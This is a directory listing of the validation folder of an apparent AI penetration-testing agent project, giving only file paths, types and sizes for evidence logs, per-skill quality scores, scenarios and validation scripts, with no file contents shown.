  • kali-claw-pentest-agent/validation/evidence/heartbeat/heartbeat-20260617-170935.txtcode · 0.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/heartbeat/heartbeat-20260617-171328.txtcode · 0.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/heartbeat/heartbeat-20260617-234511.txtcode · 0.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/heartbeat/heartbeat-20260617-234704.txtcode · 0.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/heartbeat/heartbeat-20260617-234714.txtcode · 0.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/heartbeat/heartbeat-20260617-234844.txtcode · 0.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/heartbeat/heartbeat-20260617-235228.txtcode · 0.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/heartbeat/heartbeat-20260621-075450.txtcode · 0.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/heartbeat/heartbeat-20260621-075515.txtcode · 0.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/heartbeat/heartbeat-20260621-075642.txtcode · 0.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/heartbeat/heartbeat-20260621-075810.txtcode · 0.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/heartbeat/heartbeat-20260621-075818.txtcode · 0.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/heartbeat/heartbeat-20260621-075836.txtcode · 0.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/heartbeat/heartbeat-20260621-075843.txtcode · 0.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/heartbeat/heartbeat-20260621-080246.txtcode · 0.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/heartbeat/heartbeat-20260621-161746.txtcode · 1.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/heartbeat/heartbeat-20260621-161751.txtcode · 1.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/heartbeat/heartbeat-20260621-162025.txtcode · 0.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/heartbeat/heartbeat-20260621-162134.txtcode · 0.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/heartbeat/heartbeat-20260621-162204.txtcode · 0.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/heartbeat/heartbeat-20260621-162538.txtcode · 0.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/heartbeat/heartbeat-20260621-185720.txtcode · 1.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/heartbeat/heartbeat-20260621-185728.txtcode · 1.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/heartbeat/heartbeat-20260621-185905.txtcode · 0.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/heartbeat/heartbeat-20260621-190017.txtcode · 0.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/heartbeat/heartbeat-20260621-190217.txtcode · 0.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/heartbeat/heartbeat-20260621-190356.txtcode · 0.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/heartbeat/heartbeat-20260621-191057.txtcode · 0.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/heartbeat/heartbeat-20260621-195916.txtcode · 0.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/heartbeat/heartbeat-20260621-221351.txtcode · 0.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/heartbeat/heartbeat-20260621-231315.txtcode · 0.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/heartbeat/heartbeat-20260627-152408.txtcode · 0.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/heartbeat/heartbeat-20260627-161529.txtcode · 0.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/insecure-design-TC-BL-001-2026-05-22.logtext · 1.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/integration/.gitkeeptext · 0.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/knowledge-ops-TC-KO-001-2026-05-22.logtext · 1.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/logging-monitoring-TC-LM-001-2026-05-22.logtext · 0.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/mcp-server-patterns-TC-MP-001-2026-05-22.logtext · 1.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/mobile-security-TC-MS-001-2026-05-22.logtext · 0.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/multi-agent-collaboration-TC-MC-001-2026-05-22.logtext · 0.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/network-pentest-TC-NP-001-2026-05-22.logtext · 0.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/osint-TC-OSINT-001-2026-05-22.logtext · 0.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/password-attack-TC-PA-001-2026-05-22.logtext · 0.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/post-exploitation-TC-PE-01-2026-05-22.logtext · 0.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores-baseline.jsoncode · 39.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/5g-telecom-attack.jsoncode · 0.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/ad-cs-abuse.jsoncode · 0.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/ad-ldap-attack.jsoncode · 0.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/agentic-pentest.jsoncode · 0.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/ai-agent-framework-attack.jsoncode · 0.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/ai-agent-security.jsoncode · 0.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/ai-fuzzing.jsoncode · 0.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/ai-security.jsoncode · 0.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/anti-forensics.jsoncode · 0.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/api-security.jsoncode · 0.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/article-writing.jsoncode · 0.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/automotive-vehicle-security.jsoncode · 0.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/autonomous-loops.jsoncode · 0.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/av-edr-evasion.jsoncode · 0.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/binary-reverse.jsoncode · 0.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/blockchain-l2-attack.jsoncode · 0.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/blockchain-web3.jsoncode · 0.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/bluetooth-rfid-nfc.jsoncode · 0.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/browser-qa.jsoncode · 0.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/chronicle.jsoncode · 0.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/ci-cd-supply-chain-attack.jsoncode · 0.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/cloud-identity-attack.jsoncode · 0.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/cloud-native-vuln-research.jsoncode · 0.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/cloud-security.jsoncode · 0.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/cms-framework-attack.jsoncode · 0.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/codebase-onboarding.jsoncode · 0.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/confidential-computing-attack.jsoncode · 0.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/container-security.jsoncode · 0.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/continuous-learning.jsoncode · 0.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/council.jsoncode · 0.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/cps-attack.jsoncode · 0.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/crypto-attacks.jsoncode · 0.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/cspm-casb-attack.jsoncode · 0.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/darkweb-intel.jsoncode · 0.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/data-exfiltration-attack.jsoncode · 0.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/data-platform-attack.jsoncode · 0.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/data-scraper-agent.jsoncode · 0.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/database-attack.jsoncode · 0.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/deception-honeypot.jsoncode · 0.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/deep-research.jsoncode · 0.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/detection-engineering.jsoncode · 0.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/digital-forensics.jsoncode · 0.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/dns-attacks.jsoncode · 0.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/docker-patterns.jsoncode · 0.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/edge-computing-attack.jsoncode · 0.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/email-protocol-attack.jsoncode · 0.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/email-security-deep.jsoncode · 0.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/embedded-rtos-security.jsoncode · 0.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/engagement-manager.jsoncode · 0.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/exa-search.jsoncode · 0.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/exploit-development.jsoncode · 0.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/file-inclusion.jsoncode · 0.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/firmware-reverse.jsoncode · 0.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/game-anticheat-bypass.jsoncode · 0.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/gitops-security.jsoncode · 0.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/hardware-security.jsoncode · 0.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/hf-vhf-radio-attack.jsoncode · 0.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/hsm-attack.jsoncode · 0.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/hypervisor-introspection.jsoncode · 0.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/ics-fieldbus-attack.jsoncode · 0.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/insecure-design.jsoncode · 0.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/iot-pentest.jsoncode · 0.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/knowledge-ops.jsoncode · 0.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/kubernetes-attack.jsoncode · 0.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/llm-red-team.jsoncode · 0.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/logging-monitoring.jsoncode · 0.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/macos-security.jsoncode · 0.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/mainframe-security.jsoncode · 0.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/malware-analysis-advanced.jsoncode · 0.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/mcp-server-patterns.jsoncode · 0.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/mobile-app-instrumentation.jsoncode · 0.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/mobile-security.jsoncode · 0.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/multi-agent-collaboration.jsoncode · 0.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/multi-agent-runtime-engineering.jsoncode · 0.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/network-pentest.jsoncode · 0.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/network-sniffing-mitm.jsoncode · 0.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/network-tunneling-proxy.jsoncode · 0.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/open-banking-attack.jsoncode · 0.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/osint.jsoncode · 0.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/pam-privilege-attack.jsoncode · 0.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/password-attack.jsoncode · 0.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/patch-to-poc-pipeline.jsoncode · 0.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/payload-generation.jsoncode · 0.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/payment-security.jsoncode · 0.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/pentest-reporting.jsoncode · 0.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/physical-security-testing.jsoncode · 0.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/post-exploitation.jsoncode · 0.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/post-quantum-migration-attack.jsoncode · 0.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/privilege-escalation.jsoncode · 0.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/quantum-crypto-attack.jsoncode · 0.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/recon-osint.jsoncode · 0.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/red-team-infrastructure.jsoncode · 0.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/repo-scan.jsoncode · 0.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/reverse-engineering-advanced.jsoncode · 0.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/safety-guard.jsoncode · 0.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/sase-sse-attack.jsoncode · 0.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/satellite-leo-security.jsoncode · 0.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/scada-ics-security.jsoncode · 0.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/scores_sorted.txtcode · 0.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/sdr-rf-attack.jsoncode · 0.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/search-first.jsoncode · 0.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/secret-management-attack.jsoncode · 0.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/security-bounty-hunter.jsoncode · 0.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/security-misconfiguration.jsoncode · 0.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/security-review.jsoncode · 0.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/social-engineering.jsoncode · 0.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/social-intelligence.jsoncode · 0.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/steganography.jsoncode · 0.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/storage-san-attack.jsoncode · 0.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/supply-chain-security.jsoncode · 0.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/terminal-ops.jsoncode · 0.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/threat-hunting.jsoncode · 0.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/threat-intel-platform-attack.jsoncode · 0.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/tool-mastery.jsoncode · 0.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/uav-drone-security.jsoncode · 0.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/username-profiling.jsoncode · 0.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/verification-loop.jsoncode · 0.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/voip-sip-attack.jsoncode · 0.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/vpn-attack.jsoncode · 0.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/vulnerability-assessment.jsoncode · 0.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/web-access-control.jsoncode · 0.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/web-auth-bypass.jsoncode · 0.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/web-deserialization.jsoncode · 0.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/web-sqli.jsoncode · 0.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/web-ssrf.jsoncode · 0.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/web-xss.jsoncode · 0.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/web-xxe.jsoncode · 0.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/quality-scores/wifi-pentest.jsoncode · 0.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/recon-osint-TC-RECON-001-2026-05-22.logtext · 0.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/repo-scan-TC-RS-001-2026-05-22.logtext · 0.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/safety-guard-TC-SG-001-2026-05-22.logtext · 1.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/scenarios/SCEN-001/checkpoint.jsoncode · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/search-first-TC-SF-001-2026-05-22.logtext · 1.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/security-bounty-hunter-TC-BH-001-2026-05-22.logtext · 1.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/security-misconfiguration-TC-SM-001-2026-05-22.logtext · 0.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/security-review-TC-SR-001-2026-05-22.logtext · 0.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/social-engineering-TC-SE-001-2026-05-22.logtext · 0.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/social-intelligence-TC-SI-001-2026-05-22.logtext · 1.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/supply-chain-TC-SS-01-2026-05-22.logtext · 0.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/terminal-ops-TC-TO-001-2026-05-22.logtext · 0.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/verification-loop-TC-VL-001-2026-05-22.logtext · 1.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/vulnerability-assessment-TC-VA-001-2026-05-22.logtext · 1.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/web-access-control-TC-C001-2026-05-22.logtext · 0.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/web-auth-bypass-TC-B001-2026-05-22.logtext · 1.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/web-sqli-TC-S001-2026-05-22.logtext · 0.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/web-ssrf-TC-SSRF-001-2026-05-22.logtext · 1.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/web-xss-TC-X001-2026-05-22.logtext · 1.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/evidence/wifi-pentest-TC-WIFI-001-2026-05-22.logtext · 0.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/gen-full-instance-list.pycode · 3.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/heartbeat.shcode · 8.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/lib/polish.shcode · 5.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/orchestrator.shcode · 10.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/report-generator.shcode · 8.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/scenario-runner.shcode · 6.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/scenarios/SCEN-001.mdmarkdown · 4.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/scenarios/SCEN-002.mdmarkdown · 3.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/scenarios/SCEN-003.mdmarkdown · 4.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/scenarios/SCEN-004.mdmarkdown · 3.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/scenarios/SCEN-005.mdmarkdown · 4.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/scenarios/SCEN-006.mdmarkdown · 22.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/scenarios/SCEN-007.mdmarkdown · 23.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/scenarios/SCEN-008.mdmarkdown · 17.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/scenarios/SCEN-MEMORY-SCHEMA.mdmarkdown · 12.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/skill-lint.pycode · 10.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/tool-selector.shcode · 9.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/update-skill-standard.pycode · 27.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/validate-payloads.pycode · 3.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/validation/validate-testcases.pycode · 4.0 KB

    No inline preview for this entry.